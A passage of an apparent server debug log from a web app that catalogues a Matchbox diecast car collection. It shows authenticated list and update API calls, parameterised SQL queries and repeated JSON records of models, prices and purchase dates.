      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:55.187Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:55.187Z server-connect:app Executing action step identify
2026-02-04T06:47:55.187Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:55.187Z server-connect:output identity: 1
2026-02-04T06:47:55.187Z server-connect:app Executing action step restrict
2026-02-04T06:47:55.187Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:55.188Z server-connect:output restrict: undefined
2026-02-04T06:47:55.188Z server-connect:app Executing action step paged
2026-02-04T06:47:55.188Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:55.191Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 28,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:48:03.849Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:48:03.849Z server-connect:app Executing action step identify
2026-02-04T06:48:03.850Z server-connect:app options: { provider: 'security' }
2026-02-04T06:48:03.850Z server-connect:output identity: 1
2026-02-04T06:48:03.850Z server-connect:app Executing action step restrict
2026-02-04T06:48:03.850Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:48:03.850Z server-connect:output restrict: undefined
2026-02-04T06:48:03.850Z server-connect:app Executing action step condition
2026-02-04T06:48:03.850Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:48:03.850Z server-connect:app Executing action step update
2026-02-04T06:48:03.850Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:48:03.851Z server-connect:output update: { affected: 1 }
2026-02-04T06:48:03.851Z server-connect:app Executing action step upload
2026-02-04T06:48:03.851Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:48:03.851Z server-connect:output upload_image: []
2026-02-04T06:48:03.851Z server-connect:app Executing action step repeat
2026-02-04T06:48:03.851Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:48:03.851Z server-connect:output repeat_images: []
2026-02-04T06:48:03.851Z server-connect:output condition: undefined
2026-02-04T06:48:04.088Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:48:04.089Z server-connect:app Executing action step identify
2026-02-04T06:48:04.089Z server-connect:app options: { provider: 'security' }
2026-02-04T06:48:04.089Z server-connect:output identity: 1
2026-02-04T06:48:04.089Z server-connect:app Executing action step restrict
2026-02-04T06:48:04.089Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:48:04.089Z server-connect:output restrict: undefined
2026-02-04T06:48:04.089Z server-connect:app Executing action step paged
2026-02-04T06:48:04.090Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:48:04.092Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 27,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
